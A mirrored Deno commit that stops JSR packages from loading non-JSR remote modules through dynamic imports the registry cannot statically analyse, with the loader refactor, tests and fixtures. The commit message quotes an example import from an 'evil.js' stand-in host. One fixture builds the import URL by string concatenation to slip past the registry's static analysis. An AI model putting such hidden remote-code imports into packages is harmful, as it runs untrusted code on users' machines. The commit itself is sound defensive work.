mirror of
https://github.com/denoland/deno.git
synced 2024-11-21 15:04:11 -05:00
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm dependencies. At publish time, the registry rejects packages that write code like this: ```ts const data = await import("https://example.com/evil.js"); ``` However, this can be trivially bypassed by writing code that the registry cannot statically analyze for. This PR prevents Deno from loading dynamic imports that do this.
This commit is contained in:
parent
f54acb53ed
commit
918c5e648f
10 changed files with 155 additions and 79 deletions
|
@ -1,5 +1,6 @@
|
|||
// Copyright 2018-2024 the Deno authors. All rights reserved. MIT license.
|
||||
|
||||
use crate::args::jsr_url;
|
||||
use crate::args::CliOptions;
|
||||
use crate::args::DenoSubcommand;
|
||||
use crate::args::TsTypeLib;
|
||||
|
@ -24,6 +25,7 @@ use crate::worker::ModuleLoaderFactory;
|
|||
|
||||
use deno_ast::MediaType;
|
||||
use deno_core::anyhow::anyhow;
|
||||
use deno_core::anyhow::bail;
|
||||
use deno_core::anyhow::Context;
|
||||
use deno_core::error::custom_error;
|
||||
use deno_core::error::generic_error;
|
||||
|
@ -478,13 +480,28 @@ impl CliModuleLoader {
|
|||
&code_source.found_url,
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
impl ModuleLoader for CliModuleLoader {
|
||||
fn resolve(
|
||||
fn resolve_referrer(
|
||||
&self,
|
||||
referrer: &str,
|
||||
) -> Result<ModuleSpecifier, AnyError> {
|
||||
// TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each
|
||||
// call - maybe it should be caller's responsibility to pass it as an arg?
|
||||
let cwd = std::env::current_dir().context("Unable to get CWD")?;
|
||||
if referrer.is_empty() && self.shared.is_repl {
|
||||
// FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL
|
||||
// and `Deno.core.evalContext` API. Ideally we should always have a referrer filled
|
||||
// but sadly that's not the case due to missing APIs in V8.
|
||||
deno_core::resolve_path("./$deno$repl.ts", &cwd).map_err(|e| e.into())
|
||||
} else {
|
||||
deno_core::resolve_url_or_path(referrer, &cwd).map_err(|e| e.into())
|
||||
}
|
||||
}
|
||||
|
||||
fn inner_resolve(
|
||||
&self,
|
||||
specifier: &str,
|
||||
referrer: &str,
|
||||
referrer: &ModuleSpecifier,
|
||||
kind: ResolutionKind,
|
||||
) -> Result<ModuleSpecifier, AnyError> {
|
||||
let permissions = if matches!(kind, ResolutionKind::DynamicImport) {
|
||||
|
@ -493,84 +510,66 @@ impl ModuleLoader for CliModuleLoader {
|
|||
&self.root_permissions
|
||||
};
|
||||
|
||||
// TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each
|
||||
// call - maybe it should be caller's responsibility to pass it as an arg?
|
||||
let cwd = std::env::current_dir().context("Unable to get CWD")?;
|
||||
let referrer_result = deno_core::resolve_url_or_path(referrer, &cwd);
|
||||
|
||||
if let Ok(referrer) = referrer_result.as_ref() {
|
||||
if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package(
|
||||
specifier,
|
||||
referrer,
|
||||
permissions,
|
||||
) {
|
||||
return result;
|
||||
}
|
||||
|
||||
let graph = self.shared.graph_container.graph();
|
||||
let maybe_resolved = match graph.get(referrer) {
|
||||
Some(Module::Js(module)) => {
|
||||
module.dependencies.get(specifier).map(|d| &d.maybe_code)
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
|
||||
match maybe_resolved {
|
||||
Some(Resolution::Ok(resolved)) => {
|
||||
let specifier = &resolved.specifier;
|
||||
|
||||
return match graph.get(specifier) {
|
||||
Some(Module::Npm(module)) => {
|
||||
let package_folder = self
|
||||
.shared
|
||||
.node_resolver
|
||||
.npm_resolver
|
||||
.as_managed()
|
||||
.unwrap() // byonm won't create a Module::Npm
|
||||
.resolve_pkg_folder_from_deno_module(
|
||||
module.nv_reference.nv(),
|
||||
)?;
|
||||
self
|
||||
.shared
|
||||
.node_resolver
|
||||
.resolve_package_sub_path(
|
||||
&package_folder,
|
||||
module.nv_reference.sub_path(),
|
||||
referrer,
|
||||
permissions,
|
||||
)
|
||||
.with_context(|| {
|
||||
format!("Could not resolve '{}'.", module.nv_reference)
|
||||
})
|
||||
}
|
||||
Some(Module::Node(module)) => Ok(module.specifier.clone()),
|
||||
Some(Module::Js(module)) => Ok(module.specifier.clone()),
|
||||
Some(Module::Json(module)) => Ok(module.specifier.clone()),
|
||||
Some(Module::External(module)) => {
|
||||
Ok(node::resolve_specifier_into_node_modules(&module.specifier))
|
||||
}
|
||||
None => Ok(specifier.clone()),
|
||||
};
|
||||
}
|
||||
Some(Resolution::Err(err)) => {
|
||||
return Err(custom_error(
|
||||
"TypeError",
|
||||
format!("{}\n", err.to_string_with_range()),
|
||||
))
|
||||
}
|
||||
Some(Resolution::None) | None => {}
|
||||
}
|
||||
if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package(
|
||||
specifier,
|
||||
referrer,
|
||||
permissions,
|
||||
) {
|
||||
return result;
|
||||
}
|
||||
|
||||
// FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL
|
||||
// and `Deno.core.evalContext` API. Ideally we should always have a referrer filled
|
||||
// but sadly that's not the case due to missing APIs in V8.
|
||||
let referrer = if referrer.is_empty() && self.shared.is_repl {
|
||||
deno_core::resolve_path("./$deno$repl.ts", &cwd)?
|
||||
} else {
|
||||
referrer_result?
|
||||
let graph = self.shared.graph_container.graph();
|
||||
let maybe_resolved = match graph.get(referrer) {
|
||||
Some(Module::Js(module)) => {
|
||||
module.dependencies.get(specifier).map(|d| &d.maybe_code)
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
|
||||
match maybe_resolved {
|
||||
Some(Resolution::Ok(resolved)) => {
|
||||
let specifier = &resolved.specifier;
|
||||
let specifier = match graph.get(specifier) {
|
||||
Some(Module::Npm(module)) => {
|
||||
let package_folder = self
|
||||
.shared
|
||||
.node_resolver
|
||||
.npm_resolver
|
||||
.as_managed()
|
||||
.unwrap() // byonm won't create a Module::Npm
|
||||
.resolve_pkg_folder_from_deno_module(module.nv_reference.nv())?;
|
||||
self
|
||||
.shared
|
||||
.node_resolver
|
||||
.resolve_package_sub_path(
|
||||
&package_folder,
|
||||
module.nv_reference.sub_path(),
|
||||
referrer,
|
||||
permissions,
|
||||
)
|
||||
.with_context(|| {
|
||||
format!("Could not resolve '{}'.", module.nv_reference)
|
||||
})?
|
||||
}
|
||||
Some(Module::Node(module)) => module.specifier.clone(),
|
||||
Some(Module::Js(module)) => module.specifier.clone(),
|
||||
Some(Module::Json(module)) => module.specifier.clone(),
|
||||
Some(Module::External(module)) => {
|
||||
node::resolve_specifier_into_node_modules(&module.specifier)
|
||||
}
|
||||
None => specifier.clone(),
|
||||
};
|
||||
return Ok(specifier);
|
||||
}
|
||||
Some(Resolution::Err(err)) => {
|
||||
return Err(custom_error(
|
||||
"TypeError",
|
||||
format!("{}\n", err.to_string_with_range()),
|
||||
))
|
||||
}
|
||||
Some(Resolution::None) | None => {}
|
||||
}
|
||||
|
||||
// FIXME(bartlomieju): this is another hack way to provide NPM specifier
|
||||
// support in REPL. This should be fixed.
|
||||
let resolution = self.shared.resolver.resolve(
|
||||
|
@ -596,7 +595,7 @@ impl ModuleLoader for CliModuleLoader {
|
|||
return self.shared.node_resolver.resolve_req_reference(
|
||||
&reference,
|
||||
permissions,
|
||||
&referrer,
|
||||
referrer,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
@ -604,6 +603,33 @@ impl ModuleLoader for CliModuleLoader {
|
|||
|
||||
resolution.map_err(|err| err.into())
|
||||
}
|
||||
}
|
||||
|
||||
impl ModuleLoader for CliModuleLoader {
|
||||
fn resolve(
|
||||
&self,
|
||||
specifier: &str,
|
||||
referrer: &str,
|
||||
kind: ResolutionKind,
|
||||
) -> Result<ModuleSpecifier, AnyError> {
|
||||
fn ensure_not_jsr_non_jsr_remote_import(
|
||||
specifier: &ModuleSpecifier,
|
||||
referrer: &ModuleSpecifier,
|
||||
) -> Result<(), AnyError> {
|
||||
if referrer.as_str().starts_with(jsr_url().as_str())
|
||||
&& !specifier.as_str().starts_with(jsr_url().as_str())
|
||||
&& matches!(specifier.scheme(), "http" | "https")
|
||||
{
|
||||
bail!("Importing {} blocked. JSR packages cannot import non-JSR remote modules for security reasons.", specifier);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
let referrer = self.resolve_referrer(referrer)?;
|
||||
let specifier = self.inner_resolve(specifier, &referrer, kind)?;
|
||||
ensure_not_jsr_non_jsr_remote_import(&specifier, &referrer)?;
|
||||
Ok(specifier)
|
||||
}
|
||||
|
||||
fn load(
|
||||
&self,
|
||||
|
|
|
@ -60,6 +60,22 @@ itest!(deps_info {
|
|||
http_server: true,
|
||||
});
|
||||
|
||||
itest!(import_https_url_analyzable {
|
||||
args: "run -A jsr/import_https_url/analyzable.ts",
|
||||
output: "jsr/import_https_url/analyzable.out",
|
||||
envs: env_vars_for_jsr_tests(),
|
||||
http_server: true,
|
||||
exit_code: 1,
|
||||
});
|
||||
|
||||
itest!(import_https_url_unanalyzable {
|
||||
args: "run -A jsr/import_https_url/unanalyzable.ts",
|
||||
output: "jsr/import_https_url/unanalyzable.out",
|
||||
envs: env_vars_for_jsr_tests(),
|
||||
http_server: true,
|
||||
exit_code: 1,
|
||||
});
|
||||
|
||||
itest!(subset_type_graph {
|
||||
args: "check --all jsr/subset_type_graph/main.ts",
|
||||
output: "jsr/subset_type_graph/main.check.out",
|
||||
|
|
8
tests/testdata/jsr/import_https_url/analyzable.out
vendored
Normal file
8
tests/testdata/jsr/import_https_url/analyzable.out
vendored
Normal file
|
@ -0,0 +1,8 @@
|
|||
Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json
|
||||
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json
|
||||
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts
|
||||
Download http://localhost:4545/welcome.ts
|
||||
error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons.
|
||||
await import("http://localhost:4545/welcome.ts");
|
||||
^
|
||||
at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts:1:1
|
1
tests/testdata/jsr/import_https_url/analyzable.ts
vendored
Normal file
1
tests/testdata/jsr/import_https_url/analyzable.ts
vendored
Normal file
|
@ -0,0 +1 @@
|
|||
import "jsr:@denotest/import-https-url/analyzable";
|
7
tests/testdata/jsr/import_https_url/unanalyzable.out
vendored
Normal file
7
tests/testdata/jsr/import_https_url/unanalyzable.out
vendored
Normal file
|
@ -0,0 +1,7 @@
|
|||
Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json
|
||||
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json
|
||||
Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts
|
||||
error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons.
|
||||
await import(nonAnalyzableUrl());
|
||||
^
|
||||
at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts:5:1
|
1
tests/testdata/jsr/import_https_url/unanalyzable.ts
vendored
Normal file
1
tests/testdata/jsr/import_https_url/unanalyzable.ts
vendored
Normal file
|
@ -0,0 +1 @@
|
|||
import "jsr:@denotest/import-https-url/unanalyzable";
|
1
tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts
vendored
Normal file
1
tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts
vendored
Normal file
|
@ -0,0 +1 @@
|
|||
await import("http://localhost:4545/welcome.ts");
|
5
tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts
vendored
Normal file
5
tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts
vendored
Normal file
|
@ -0,0 +1,5 @@
|
|||
function nonAnalyzableUrl() {
|
||||
return "http://localhost:4545/" + "welcome.ts";
|
||||
}
|
||||
|
||||
await import(nonAnalyzableUrl());
|
6
tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json
vendored
Normal file
6
tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json
vendored
Normal file
|
@ -0,0 +1,6 @@
|
|||
{
|
||||
"exports": {
|
||||
"./unanalyzable": "./unanalyzable.ts",
|
||||
"./analyzable": "./analyzable.ts"
|
||||
}
|
||||
}
|
5
tests/testdata/jsr/registry/@denotest/import-https-url/meta.json
vendored
Normal file
5
tests/testdata/jsr/registry/@denotest/import-https-url/meta.json
vendored
Normal file
|
@ -0,0 +1,5 @@
|
|||
{
|
||||
"versions": {
|
||||
"1.0.0": {}
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue